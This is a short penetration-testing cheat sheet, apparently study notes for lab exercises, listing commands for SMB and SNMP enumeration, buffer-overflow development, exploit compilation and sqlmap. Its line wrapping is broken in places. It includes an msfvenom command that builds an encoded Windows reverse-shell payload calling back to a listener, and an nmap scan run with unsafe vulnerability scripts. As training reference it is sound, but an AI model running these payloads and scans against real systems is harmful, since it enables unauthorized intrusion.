

## File and Movement

**locate**

**which**

**find** `find / -name *sbd`  
searches through directory recursively

## Users and Groups

**passwd**

## Text

**sed** `sed -i '/^$/d' foo`  
deletes blank lines

## Tmux

`tmux new -s <session-name>`  
`tmux a -t <session-name>`  
`tmux detach`  
`tmux kill-session -t`  
`<session-name>`

## Networking

**netstat** `netstat -antp`  
**t** Lists all TCP numeric ports and status  
`netstat`

**netcat** `nc -nv 10.0.0.22 110`  
HEAD / HTTP/1.0

**iptables** `iptables -A INPUT -p tcp --`  
`destination-port 13327 \! -d`  
`127.0.0.1 -j DROP`  
drops traffic to destination port

**wget**

## File Transfer

**tftp** `atftpd -daemon -port 69 /tftp`  
starts tftpd daemon

## SMB

**nmap** `nmap -v -p 139, 445 -`  
`script=smb-check-vulns -`  
`script-args=unsafe=1`  
`192.168.11.201`  
`smb-check MS08-067/07-029/06-`  
`025/DOS`

**enum** `enum4linux -a`

**4linux** `192.168.11.227`

**x**

**nbtscan** `nbtscan -r 192.168.11/0/24`  
**an**

## SNMP

**onesixtyone** `onesixtyone -c`  
`<community> -i <ips>`  
checks SNMP at IP file w/  
community file

**snmpwalk** `snmpwalk -c public -v1`  
**alk** `192.168.11.219`  
enumerates MIB tree on a server  
with SNMP enabled

## Buffer Overflow and Payloads

**pattern\_create.rb** `/usr/share/metasploit-`  
`framework/tools/exploit/pa`  
`ttern_create.rb 2700`  
creates unique 2700 byte string

**nasm\_shell.rb** `/usr/share/metasploit-`  
`framework/tools/exploit/na`  
`sm_shell.rb`  
opens nasm shell (opcode  
translation)

**mona.py** `!mona find -s`  
`"\xff\xe4" -m slmfc.dll`  
finds opcode in selected dll

## Buffer Overflow and Payloads (cont)

**msfvenom** `msfvenom -p`  
**windows/shell\_reverse\_tcp**  
`LHOST=10.0.0.4 LPORT=443 -f`  
`c -e x86/shikata_ga_nai -b`  
`"x00\x0a\x0d"`  
reverse shell tcp payload in C,  
encoded w/ bad char specified

**edb** `edb --run`  
`/usr/games/crossfire/bin/c`  
`rossfire`

**gcc** `gcc 643-fixed.c -o slmail-`  
`linux`

**mingw** `i686-w64-mingw32-gcc 646-`  
`fixed.c -lws2_32 -o 646.exe`

## SQL

**sqlmap** `sqlmap -u`  
`http://10.11.6.109 -`  
`crawl=1`  
basic web-crawl

C

By **Inqu1sitive**  
[cheatography.com/inqu1sitive/](https://cheatography.com/inqu1sitive/)

Not published yet.  
Last updated 2nd June, 2016.  
Page 1 of 1.

Sponsored by **ApolloPad.com**  
Everyone has a novel in them. Finish Yours!  
<https://apollopad.com>